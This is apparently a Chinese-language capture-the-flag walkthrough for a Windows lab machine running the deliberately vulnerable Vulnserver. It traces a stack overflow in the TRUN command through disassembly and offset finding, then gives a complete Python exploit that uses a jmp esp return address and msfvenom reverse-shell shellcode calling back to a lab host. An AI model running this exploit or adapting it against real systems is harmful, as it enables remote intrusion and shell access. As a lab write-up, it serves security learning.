TheHackersLabs Pila Walkthrough

靶场:The Hackers Labs
地址:https://thehackerslabs.com/pila/
系统:Windows
内容:缓冲区溢出

开机后扫描端口,有一个9999端口的不常见服务。

─$ nmap -sV -sC -Pn -p-  -oN port.log $IP
# Nmap 7.94SVN scan initiated Mon Nov 18 02:49:58 2024 as: /usr/lib/nmap/nmap --privileged -sV -sC -Pn -p- -oN port.log 192.168.56.161
Nmap scan report for 192.168.56.161
Host is up (0.00022s latency).
Not shown: 65524 closed tcp ports (reset)
PORT      STATE SERVICE       VERSION
80/tcp    open  http          Microsoft IIS httpd 7.0
|_http-title: 404: archivo o directorio no encontrado.
|_http-server-header: Microsoft-IIS/7.0
| http-methods:
|_  Potentially risky methods: TRACE
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds?
9999/tcp  open  vulnserver    Vulnserver
49152/tcp open  msrpc         Microsoft Windows RPC
49153/tcp open  msrpc         Microsoft Windows RPC
49154/tcp open  msrpc         Microsoft Windows RPC
49155/tcp open  msrpc         Microsoft Windows RPC
49156/tcp open  msrpc         Microsoft Windows RPC
49157/tcp open  msrpc         Microsoft Windows RPC
MAC Address: 08:00:27:77:95:B7 (Oracle VirtualBox virtual NIC)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 5h59m57s
| smb2-security-mode:
|   2:0:2:
|_    Message signing enabled but not required
|_nbstat: NetBIOS name: WIN-LVJNVVHBWSR, NetBIOS user: <unknown>, NetBIOS MAC: 08:00:27:77:95:b7 (Oracle VirtualBox virtual NIC)
| smb2-time:
|   date: 2024-11-18T08:52:24
|_  start_date: 2024-11-18T08:20:04

打开80端口,显示是无法访问的网页(这里我的浏览器已经自动翻译为英文了)。

查看源代码,滚动到最下面,发现一个隐藏目录的信息。

在这个目录里发现1个exe文件,1个dll文件,下载后在windows系统里可以运行,看来就是9999端口运行的服务,估计多半是缓冲区溢出的题目。接下来开始找溢出的地方。
把vulnserver.exe扔进IDA,发现在处理TRUN、GMON、LTER三条指令时,调用了Function3,而在处理其它指令时,没有调用函数。

else if ( !strncmp(buf, "RTIME ", 6u) )
      {
        Destination = (char *)malloc(0x78u);
        memset(Destination, 0, 0x78u);
        strncpy(Destination, buf, 0x78u);
        v20 = send(s, "RTIME VALUE WITHIN LIMITS\n", 26, 0);
      }
      else if ( !strncmp(buf, "LTIME ", 6u) )
      {
        Destination = (char *)malloc(0x78u);
        memset(Destination, 0, 0x78u);
        strncpy(Destination, buf, 0x78u);
        v20 = send(s, "LTIME VALUE HIGH, BUT OK\n", 25, 0);
      }
      else if ( !strncmp(buf, "SRUN ", 5u) )
      {
        Destination = (char *)malloc(0x78u);
        memset(Destination, 0, 0x78u);
        strncpy(Destination, buf, 0x78u);
        v20 = send(s, "SRUN COMPLETE\n", 14, 0);
      }
      else if ( !strncmp(buf, "TRUN ", 5u) )
      {
        Destination = (char *)malloc(0xBB8u);
        memset(Destination, 0, 0xBB8u);
        for ( i = 5; i < len; ++i )
        {
          if ( buf[i] == 46 )
          {
            strncpy(Destination, buf, 0xBB8u);
            Function3(Destination);
            break;
          }
        }
        memset(Destination, 0, 0xBB8u);
        v20 = send(s, "TRUN COMPLETE\n", 14, 0);
      }
      else if ( !strncmp(buf, "GMON ", 5u) )
      {
        *(_DWORD *)v10 = 1313819975;
        v11 = 1096045344;
        v12 = 1145394258;
        v13 = 10;
        for ( i = 5; i < len; ++i )
        {
          if ( buf[i] == 47 )
          {
            if ( strlen(buf) > 0xF6E )
              Function3(buf);
            break;
          }
        }
        v20 = send(s, v10, 13, 0);
      }
      else if ( !strncmp(buf, "GDOG ", 5u) )
      {
        strncpy(v22, buf, 0x400u);
        v20 = send(s, "GDOG RUNNING\n", 13, 0);
      }

下面以处理TRUN指令为突破口,注意在传递给Function3这个函数参数时,给出的数据缓冲区大小时0xBB8u,也就是3000。跟进Function3看一下汇编代码和C代码。

.text:00401808 ; char *__cdecl Function3(char *Source)
.text:00401808                 public _Function3
.text:00401808 _Function3      proc near               ; CODE XREF: ConnectionHandler(x)+52F↓p
.text:00401808                                         ; ConnectionHandler(x)+61E↓p ...
.text:00401808
.text:00401808 Destination     = dword ptr -7E8h
.text:00401808 Source          = dword ptr -7E4h
.text:00401808 var_7D8         = byte ptr -7D8h
.text:00401808 arg_0           = dword ptr  8
.text:00401808
.text:00401808                 push    ebp
.text:00401809                 mov     ebp, esp
.text:0040180B                 sub     esp, 7E8h
.text:00401811                 mov     eax, [ebp+arg_0]
.text:00401814                 mov     [esp+7E8h+Source], eax ; Source
.text:00401818                 lea     eax, [ebp+var_7D8]
.text:0040181E                 mov     [esp+7E8h+Destination], eax ; Destination
.text:00401821                 call    _strcpy
.text:00401826                 leave
.text:00401827                 retn
.text:00401827 _Function3      endp
char *__cdecl Function3(char *Source)
{
  char Destination[2008]; // [esp+10h] [ebp-7D8h] BYREF

  return strcpy(Destination, Source);
}

Functions3在执行复制时,没有检查Source的大小(可以为3000),而预留的Destination的缓冲区大小只有2008,这里存在溢出。
如果比较有经验,这里可以判断出,当传入数据的长度是2016时,正好将2008+arg0(4)+返回地址(4)全部覆盖。当然,还可以通过程序来判断。
使用msf生成长度3000(超出缓冲区预留大小)的特征字符串

└─$ msf-pattern_create -l 3000
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3

编写一个python程序,用于向vulnserver发送数据。其中,junk变量中就是刚才msf-pattern生成的特征字符串。

import socket
import sys

ip='127.0.0.1'
port=9999
junk=b'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1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Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9'
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((ip,port))
data_from_srv=s.recv(4096)
print(data_from_srv)
s.sendall(b'TRUN .'+junk+b'\n')
s.close()

在本机(windows)使用调试工具(这里用的是x32dbg)加载vulnserver.exe并运行,在。使用刚才的程序发送junk代码,x32dbg会因为异常暂停下来。注意此时右下角堆栈顶部的值为43307043。

使用msf-pattern检查依移位置,是2010,加上b'TRUN .'的长度为6,shellcode的长度应该正好是2016,就是我们前面计算的。

└─$ msf-pattern_offset -l 3000 -q 43307043
[*] Exact match at offset 2010

接下来就是寻找jmp esp指令的地址。在IDA中查看essfunc.dll源码,有多处jmp esp指令,这里随便选择一条,0x625011BB。

如果想确认一下,可以在x32dbg中跳转到这个地址,查看一下,果然是jmp esp指令。

接下来,使用msfvenom生成反弹shell的代码。

└─$ msfvenom -p windows/shell_reverse_tcp LHOST=192.168.56.101 LPORT=1234  -a x86 --platform windows -b "\x00" -f python
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 351 (iteration=0)
x86/shikata_ga_nai chosen with final size 351
Payload size: 351 bytes
Final size of python file: 1745 bytes
buf =  b""
buf += b"\xda\xc5\xd9\x74\x24\xf4\x5d\x33\xc9\xb8\xe9\xa6"
buf += b"\xb3\x74\xb1\x52\x31\x45\x17\x03\x45\x17\x83\x2c"
...

把以上信息组织起来,形成完成的pwn.py代码。

import socket
import sys

ip='192.168.56.163'
port=9999
junk=b'a'*2006
ret_addr=b'\xBB\x11\x50\x62'
nops=b'\x90'*32 
buf =  b""
buf += b"\xda\xc5\xd9\x74\x24\xf4\x5d\x33\xc9\xb8\xe9\xa6"
buf += b"\xb3\x74\xb1\x52\x31\x45\x17\x03\x45\x17\x83\x2c"
buf += b"\xa2\x51\x81\x52\x43\x17\x6a\xaa\x94\x78\xe2\x4f"
buf += b"\xa5\xb8\x90\x04\x96\x08\xd2\x48\x1b\xe2\xb6\x78"
buf += b"\xa8\x86\x1e\x8f\x19\x2c\x79\xbe\x9a\x1d\xb9\xa1"
buf += b"\x18\x5c\xee\x01\x20\xaf\xe3\x40\x65\xd2\x0e\x10"
buf += b"\x3e\x98\xbd\x84\x4b\xd4\x7d\x2f\x07\xf8\x05\xcc"
buf += b"\xd0\xfb\x24\x43\x6a\xa2\xe6\x62\xbf\xde\xae\x7c"
buf += b"\xdc\xdb\x79\xf7\x16\x97\x7b\xd1\x66\x58\xd7\x1c"
buf += b"\x47\xab\x29\x59\x60\x54\x5c\x93\x92\xe9\x67\x60"
buf += b"\xe8\x35\xed\x72\x4a\xbd\x55\x5e\x6a\x12\x03\x15"
buf += b"\x60\xdf\x47\x71\x65\xde\x84\x0a\x91\x6b\x2b\xdc"
buf += b"\x13\x2f\x08\xf8\x78\xeb\x31\x59\x25\x5a\x4d\xb9"
buf += b"\x86\x03\xeb\xb2\x2b\x57\x86\x99\x23\x94\xab\x21"
buf += b"\xb4\xb2\xbc\x52\x86\x1d\x17\xfc\xaa\xd6\xb1\xfb"
buf += b"\xcd\xcc\x06\x93\x33\xef\x76\xba\xf7\xbb\x26\xd4"
buf += b"\xde\xc3\xac\x24\xde\x11\x62\x74\x70\xca\xc3\x24"
buf += b"\x30\xba\xab\x2e\xbf\xe5\xcc\x51\x15\x8e\x67\xa8"
buf += b"\xfe\x71\xdf\x8a\x9b\x19\x22\xea\x67\x08\xab\x0c"
buf += b"\x0d\xbc\xfa\x87\xba\x25\xa7\x53\x5a\xa9\x7d\x1e"
buf += b"\x5c\x21\x72\xdf\x13\xc2\xff\xf3\xc4\x22\x4a\xa9"
buf += b"\x43\x3c\x60\xc5\x08\xaf\xef\x15\x46\xcc\xa7\x42"
buf += b"\x0f\x22\xbe\x06\xbd\x1d\x68\x34\x3c\xfb\x53\xfc"
buf += b"\x9b\x38\x5d\xfd\x6e\x04\x79\xed\xb6\x85\xc5\x59"
buf += b"\x67\xd0\x93\x37\xc1\x8a\x55\xe1\x9b\x61\x3c\x65"
buf += b"\x5d\x4a\xff\xf3\x62\x87\x89\x1b\xd2\x7e\xcc\x24"
buf += b"\xdb\x16\xd8\x5d\x01\x87\x27\xb4\x81\xb7\x6d\x94"
buf += b"\xa0\x5f\x28\x4d\xf1\x3d\xcb\xb8\x36\x38\x48\x48"
buf += b"\xc7\xbf\x50\x39\xc2\x84\xd6\xd2\xbe\x95\xb2\xd4"
buf += b"\x6d\x95\x96"
payload=b''
payload+=b'TRUN .'
payload+=junk
payload+=ret_addr
payload+=nops
payload+=buf
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((ip,port))
data_from_srv=s.recv(4096)
print(data_from_srv)
s.sendall(payload)
s.close()

成功得到系统shell。

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注